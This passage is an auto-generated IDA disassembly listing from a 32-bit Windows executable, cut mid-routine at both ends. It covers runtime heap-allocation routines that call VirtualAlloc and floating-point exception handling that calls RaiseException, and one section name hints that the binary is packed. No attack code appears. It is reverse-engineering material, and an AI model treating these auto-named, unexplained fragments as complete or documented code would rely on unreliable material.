jnz short loc_40FB1A
mov [edi+4], ebx
loc_40FAF7: ; CODE XREF: sub_40FA4F+8Dj
; sub_40FA4F+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_40FAD8
jmp short loc_40FB0B
; ---------------------------------------------------------------------------
loc_40FB08: ; CODE XREF: sub_40FA4F+14j
mov ebx, [ebp+arg_0]
loc_40FB0B: ; CODE XREF: sub_40FA4F+87j
; sub_40FA4F+B7j
mov esi, [esi]
cmp esi, off_41FC30
jz short loc_40FB2A
jmp loc_40FA5D
; ---------------------------------------------------------------------------
loc_40FB1A: ; CODE XREF: sub_40FA4F+54j
; sub_40FA4F+A3j
mov off_41FC30, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_40FC52
; ---------------------------------------------------------------------------
loc_40FB2A: ; CODE XREF: sub_40FA4F+C4j
mov eax, offset off_41DC10
mov edi, eax
loc_40FB31: ; CODE XREF: sub_40FA4F+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_40FB3D
cmp dword ptr [edi+0Ch], 0
jnz short loc_40FB49
loc_40FB3D: ; CODE XREF: sub_40FA4F+E6j
mov edi, [edi]
cmp edi, eax
jz loc_40FC1E
jmp short loc_40FB31
; ---------------------------------------------------------------------------
loc_40FB49: ; CODE XREF: sub_40FA4F+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_40FB78
loc_40FB67: ; CODE XREF: sub_40FA4F+127j
cmp [ebp+var_4], 10h
jge short loc_40FB78
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_40FB67
loc_40FB78: ; CODE XREF: sub_40FA4F+116j
; sub_40FA4F+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_417138 ; VirtualAlloc
cmp eax, esi
jnz loc_40FC50
push 0
push [ebp+var_8]
push esi
call sub_40B630
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_40FBDF
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_40FBB5: ; CODE XREF: sub_40FA4F+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_40FBB5
loc_40FBDF: ; CODE XREF: sub_40FA4F+15Ej
mov off_41FC30, edi
lea eax, [edi+2018h]
loc_40FBEB: ; CODE XREF: sub_40FA4F+1A8j
cmp ecx, eax
jnb short loc_40FBFB
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_40FBF9
add ecx, 8
jmp short loc_40FBEB
; ---------------------------------------------------------------------------
loc_40FBF9: ; CODE XREF: sub_40FA4F+1A3j
cmp ecx, eax
loc_40FBFB: ; CODE XREF: sub_40FA4F+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_40FC52
; ---------------------------------------------------------------------------
loc_40FC1E: ; CODE XREF: sub_40FA4F+F2j
call sub_40F757
test eax, eax
jz short loc_40FC50
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_41FC30, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_40FC52
; ---------------------------------------------------------------------------
loc_40FC50: ; CODE XREF: sub_40FA4F+143j
; sub_40FA4F+1D6j
xor eax, eax
loc_40FC52: ; CODE XREF: sub_40FA4F+D6j
; sub_40FA4F+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40FA4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FC57 proc near ; CODE XREF: sub_40FA4F+4Ap
; sub_40FA4F+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_40FC9C
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_40FC8B
add [ecx], edx
sub [ecx+4], edx
jmp short loc_40FC94
; ---------------------------------------------------------------------------
loc_40FC8B: ; CODE XREF: sub_40FC57+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_40FC94: ; CODE XREF: sub_40FC57+32j
lea eax, [edi+8]
jmp loc_40FD6A
; ---------------------------------------------------------------------------
loc_40FC9C: ; CODE XREF: sub_40FC57+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_40FCA5
mov eax, esi
loc_40FCA5: ; CODE XREF: sub_40FC57+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_40FCEF
loc_40FCAC: ; CODE XREF: sub_40FC57+96j
mov bl, [eax]
test bl, bl
jnz short loc_40FCE2
push 1
lea ebx, [eax+1]
pop esi
loc_40FCB8: ; CODE XREF: sub_40FC57+68j
cmp byte ptr [ebx], 0
jnz short loc_40FCC1
inc ebx
inc esi
jmp short loc_40FCB8
; ---------------------------------------------------------------------------
loc_40FCC1: ; CODE XREF: sub_40FC57+64j
cmp esi, edx
jnb short loc_40FD13
cmp eax, [ebp+var_4]
jnz short loc_40FCCF
mov [ecx+4], esi
jmp short loc_40FCDB
; ---------------------------------------------------------------------------
loc_40FCCF: ; CODE XREF: sub_40FC57+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_40FD74
loc_40FCDB: ; CODE XREF: sub_40FC57+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_40FCE7
; ---------------------------------------------------------------------------
loc_40FCE2: ; CODE XREF: sub_40FC57+59j
movzx esi, bl
add eax, esi
loc_40FCE7: ; CODE XREF: sub_40FC57+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_40FCAC
loc_40FCEF: ; CODE XREF: sub_40FC57+53j
lea esi, [ecx+8]
loc_40FCF2: ; CODE XREF: sub_40FC57+EBj
; sub_40FC57+F2j
cmp esi, edi
jnb short loc_40FD74
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_40FD74
mov al, [esi]
test al, al
jnz short loc_40FD44
push 1
lea ebx, [esi+1]
pop eax
loc_40FD0A: ; CODE XREF: sub_40FC57+BAj
cmp byte ptr [ebx], 0
jnz short loc_40FD34
inc ebx
inc eax
jmp short loc_40FD0A
; ---------------------------------------------------------------------------
loc_40FD13: ; CODE XREF: sub_40FC57+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_40FD24
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_40FD2D
; ---------------------------------------------------------------------------
loc_40FD24: ; CODE XREF: sub_40FC57+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_40FD2D: ; CODE XREF: sub_40FC57+CBj
mov [eax], dl
add eax, 8
jmp short loc_40FD6A
; ---------------------------------------------------------------------------
loc_40FD34: ; CODE XREF: sub_40FC57+B6j
cmp eax, edx
jnb short loc_40FD4B
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_40FD74
mov esi, ebx
jmp short loc_40FCF2
; ---------------------------------------------------------------------------
loc_40FD44: ; CODE XREF: sub_40FC57+ABj
movzx eax, al
add esi, eax
jmp short loc_40FCF2
; ---------------------------------------------------------------------------
loc_40FD4B: ; CODE XREF: sub_40FC57+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_40FD5C
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_40FD65
; ---------------------------------------------------------------------------
loc_40FD5C: ; CODE XREF: sub_40FC57+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_40FD65: ; CODE XREF: sub_40FC57+103j
mov [esi], dl
lea eax, [esi+8]
loc_40FD6A: ; CODE XREF: sub_40FC57+40j
; sub_40FC57+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_40FD76
; ---------------------------------------------------------------------------
loc_40FD74: ; CODE XREF: sub_40FC57+7Ej
; sub_40FC57+9Dj ...
xor eax, eax
loc_40FD76: ; CODE XREF: sub_40FC57+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_40FC57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD7B proc near ; CODE XREF: sub_40C4F8+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_40FDB5
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_40FE15
; ---------------------------------------------------------------------------
loc_40FDB5: ; CODE XREF: sub_40FD7B+26j
jnb short loc_40FE1C
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_40FE1C
lea eax, [ecx+edx]
loc_40FDCA: ; CODE XREF: sub_40FD7B+59j
cmp eax, esi
jnb short loc_40FDD8
cmp byte ptr [eax], 0
jnz short loc_40FDD6
inc eax
jmp short loc_40FDCA
; ---------------------------------------------------------------------------
loc_40FDD6: ; CODE XREF: sub_40FD7B+56j
cmp eax, esi
loc_40FDD8: ; CODE XREF: sub_40FD7B+51j
jnz short loc_40FE1C
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_40FE10
cmp esi, eax
jbe short loc_40FE10
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_40FE07
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_40FE02
loc_40FDFB: ; CODE XREF: sub_40FD7B+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_40FDFB
loc_40FE02: ; CODE XREF: sub_40FD7B+7Ej
mov [ebx+4], eax
jmp short loc_40FE10
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FD7B+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_40FE10: ; CODE XREF: sub_40FD7B+68j
; sub_40FD7B+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_40FE15: ; CODE XREF: sub_40FD7B+38j
mov [ebp+var_4], 1
loc_40FE1C: ; CODE XREF: sub_40FD7B:loc_40FDB5j
; sub_40FD7B+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40FD7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_40FE24(int,int,double,int)
sub_40FE24 proc near ; CODE XREF: sub_40B7DA+51p
; sub_40B923+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_420590, 0
jnz short loc_40FE59
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_4103D9
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40FE59: ; CODE XREF: sub_40FE24+Aj
push 0FFFFh
mov dword_47F914, 21h
push [ebp+arg_C]
call sub_41064C
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_40FE24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40FE77(int,int,double,double,int)
sub_40FE77 proc near ; CODE XREF: sub_40B7DA:loc_40B89Dp
; sub_40B923:loc_40B9E6p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_4101C2
add esp, 0Ch
test eax, eax
jnz short loc_40FEB5
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_40FF0F
add esp, 18h
loc_40FEB5: ; CODE XREF: sub_40FE77+1Aj
push [ebp+arg_0]
call sub_4104AC
cmp dword_420590, 0
pop ecx
jnz short loc_40FEF3
test eax, eax
jz short loc_40FEF3
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_4103D9
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_40FEF3: ; CODE XREF: sub_40FE77+4Ej
; sub_40FE77+52j
push eax
call sub_410461
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41064C
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_40FE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF0F proc near ; CODE XREF: sub_40FE77+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_40FF41
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_40FF41: ; CODE XREF: sub_40FF0F+23j
test cl, 2
jz short loc_40FF54
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_40FF54: ; CODE XREF: sub_40FF0F+35j
test cl, bl
jz short loc_40FF66
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_40FF66: ; CODE XREF: sub_40FF0F+47j
test cl, 4
jz short loc_40FF79
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_40FF79: ; CODE XREF: sub_40FF0F+5Aj
test cl, 8
jz short loc_40FF8C
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_40FF8C: ; CODE XREF: sub_40FF0F+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41062F
test al, bl
jz short loc_410015
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_410015: ; CODE XREF: sub_40FF0F+FDj
test al, 4
jz short loc_410020
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_410020: ; CODE XREF: sub_40FF0F+108j
test al, 8
jz short loc_41002B
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41002B: ; CODE XREF: sub_40FF0F+113j
test al, 10h
jz short loc_410035
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_410035: ; CODE XREF: sub_40FF0F+11Ej
test al, 20h
jz short loc_41003F
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41003F: ; CODE XREF: sub_40FF0F+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41007E
cmp eax, 400h
jz short loc_410070
loc_410051: ; DATA XREF: .nsp0:00419BDDo
; .nsp0:0041A40Do
cmp eax, 800h
jz short loc_410064
cmp eax, ecx
jnz short loc_410084
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_410084
; ---------------------------------------------------------------------------
loc_410064: ; CODE XREF: sub_40FF0F+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41007A
; ---------------------------------------------------------------------------
loc_410070: ; CODE XREF: sub_40FF0F+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41007A: ; CODE XREF: sub_40FF0F+15Fj
mov [eax], ecx
jmp short loc_410084
; ---------------------------------------------------------------------------
loc_41007E: ; CODE XREF: sub_40FF0F+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_410084: ; CODE XREF: sub_40FF0F+14Bj
; sub_40FF0F+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_4100AF
cmp eax, 200h
jz short loc_4100A2
cmp eax, ecx
jnz short loc_4100BC
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_4100BC
; ---------------------------------------------------------------------------
loc_4100A2: ; CODE XREF: sub_40FF0F+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_4100BA
; ---------------------------------------------------------------------------
loc_4100AF: ; CODE XREF: sub_40FF0F+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_4100BA: ; CODE XREF: sub_40FF0F+19Ej
mov [eax], ecx
loc_4100BC: ; CODE XREF: sub_40FF0F+189j
; sub_40FF0F+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41063D
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_417140 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_410136
and dword ptr [esi], 0FFFFFFFEh
loc_410136: ; CODE XREF: sub_40FF0F+222j
test byte ptr [eax+8], 8
jz short loc_41013F
and dword ptr [esi], 0FFFFFFFBh
loc_41013F: ; CODE XREF: sub_40FF0F+22Bj
test byte ptr [eax+8], 4
jz short loc_410148
and dword ptr [esi], 0FFFFFFF7h
loc_410148: ; CODE XREF: sub_40FF0F+234j
test byte ptr [eax+8], 2
jz short loc_410151
and dword ptr [esi], 0FFFFFFEFh
loc_410151: ; CODE XREF: sub_40FF0F+23Dj
test [eax+8], bl
jz short loc_410159
and dword ptr [esi], 0FFFFFFDFh
loc_410159: ; CODE XREF: sub_40FF0F+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41018D
dec ecx
jz short loc_410181
dec ecx
jz short loc_410177
dec ecx
jnz short loc_41018F
or byte ptr [esi+1], 0Ch
jmp short loc_41018F
; ---------------------------------------------------------------------------
loc_410177: ; CODE XREF: sub_40FF0F+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_410189
; ---------------------------------------------------------------------------
loc_410181: ; CODE XREF: sub_40FF0F+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_410189: ; CODE XREF: sub_40FF0F+270j
mov [esi], ecx
jmp short loc_41018F
; ---------------------------------------------------------------------------
loc_41018D: ; CODE XREF: sub_40FF0F+257j
and [esi], edx
loc_41018F: ; CODE XREF: sub_40FF0F+260j
; sub_40FF0F+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_4101AF
dec ecx
jz short loc_4101A6
dec ecx
jnz short loc_4101B8
and [esi], edx
jmp short loc_4101B8
; ---------------------------------------------------------------------------
loc_4101A6: ; CODE XREF: sub_40FF0F+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_4101B6
; ---------------------------------------------------------------------------
loc_4101AF: ; CODE XREF: sub_40FF0F+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_4101B6: ; CODE XREF: sub_40FF0F+29Ej
mov [esi], ecx
loc_4101B8: ; CODE XREF: sub_40FF0F+291j
; sub_40FF0F+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40FF0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101C2 proc near ; CODE XREF: sub_40FE77+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4101ED
test byte ptr [ebp+arg_8], bl
jz short loc_4101ED
push ebx
call sub_41066F
pop ecx
and edi, 0FFFFFFF7h
jmp loc_4103B7
; ---------------------------------------------------------------------------
loc_4101ED: ; CODE XREF: sub_4101C2+15j
; sub_4101C2+1Aj
test al, 4
jz short loc_410207
test byte ptr [ebp+arg_8], 4
jz short loc_410207
push 4
call sub_41066F
pop ecx
and edi, 0FFFFFFFBh
jmp loc_4103B7
; ---------------------------------------------------------------------------
loc_410207: ; CODE XREF: sub_4101C2+2Dj
; sub_4101C2+33j
test al, bl
jz loc_4102E1
test byte ptr [ebp+arg_8], 8
jz loc_4102E1
push 8
call sub_41066F
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_4102B9
cmp ecx, 400h
jz short loc_410291
cmp ecx, 800h
jz short loc_410269
cmp ecx, eax
jnz loc_4102D9
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4177A0
fld dbl_41FD20
fnstsw ax
sahf
ja short loc_410261
fchs
loc_410261: ; CODE XREF: sub_4101C2+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4102D7
; ---------------------------------------------------------------------------
loc_410269: ; CODE XREF: sub_4101C2+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4177A0
fnstsw ax
sahf
jbe short loc_410281
fld dbl_41FD10
jmp short loc_410289
; ---------------------------------------------------------------------------
loc_410281: ; CODE XREF: sub_4101C2+B5j
fld dbl_41FD20
fchs
loc_410289: ; CODE XREF: sub_4101C2+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4102D7
; ---------------------------------------------------------------------------
loc_410291: ; CODE XREF: sub_4101C2+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4177A0
fnstsw ax
sahf
jbe short loc_4102A9
fld dbl_41FD20
jmp short loc_4102B1
; ---------------------------------------------------------------------------
loc_4102A9: ; CODE XREF: sub_4101C2+DDj
fld dbl_41FD10
fchs
loc_4102B1: ; CODE XREF: sub_4101C2+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4102D7
; ---------------------------------------------------------------------------
loc_4102B9: ; CODE XREF: sub_4101C2+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4177A0
fld dbl_41FD10
fnstsw ax
sahf
ja short loc_4102D1
fchs
loc_4102D1: ; CODE XREF: sub_4101C2+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_4102D7: ; CODE XREF: sub_4101C2+A5j
; sub_4101C2+CDj ...
fstp qword ptr [ecx]
loc_4102D9: ; CODE XREF: sub_4101C2+81j
and edi, 0FFFFFFFEh
jmp loc_4103B7
; ---------------------------------------------------------------------------
loc_4102E1: ; CODE XREF: sub_4101C2+47j
; sub_4101C2+51j
test al, 2
jz loc_4103B7
test byte ptr [ebp+arg_8], 10h
jz loc_4103B7
push esi
xor esi, esi
test al, 10h
jz short loc_4102FC
mov esi, ebx
loc_4102FC: ; CODE XREF: sub_4101C2+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4177A0
fnstsw ax
sahf
jz loc_4103A5
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41056E
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_410347
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41039B
; ---------------------------------------------------------------------------
loc_410347: ; CODE XREF: sub_4101C2+17Aj
fld [ebp+var_C]
fcomp dbl_4177A0
fnstsw ax
sahf
jnb short loc_410359
mov edx, ebx
jmp short loc_41035B
; ---------------------------------------------------------------------------
loc_410359: ; CODE XREF: sub_4101C2+191j
xor edx, edx
loc_41035B: ; CODE XREF: sub_4101C2+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41038F
sub eax, ecx
loc_410372: ; CODE XREF: sub_4101C2+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41037D
test esi, esi
jnz short loc_41037D
mov esi, ebx
loc_41037D: ; CODE XREF: sub_4101C2+1B3j
; sub_4101C2+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_410389
or byte ptr [ebp+var_C+3], 80h
loc_410389: ; CODE XREF: sub_4101C2+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_410372
loc_41038F: ; CODE XREF: sub_4101C2+1ACj
test edx, edx
jz short loc_41039B
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41039B: ; CODE XREF: sub_4101C2+183j
; sub_4101C2+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_4103A7
; ---------------------------------------------------------------------------
loc_4103A5: ; CODE XREF: sub_4101C2+14Ej
mov esi, ebx
loc_4103A7: ; CODE XREF: sub_4101C2+1E1j
test esi, esi
pop esi
jz short loc_4103B4
push 10h
call sub_41066F
pop ecx
loc_4103B4: ; CODE XREF: sub_4101C2+1E8j
and edi, 0FFFFFFFDh
loc_4103B7: ; CODE XREF: sub_4101C2+26j
; sub_4101C2+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_4103CE
test byte ptr [ebp+arg_8], 20h
jz short loc_4103CE
push 20h
call sub_41066F
pop ecx
and edi, 0FFFFFFEFh
loc_4103CE: ; CODE XREF: sub_4101C2+1F9j
; sub_4101C2+1FFj
xor eax, eax
test edi, edi
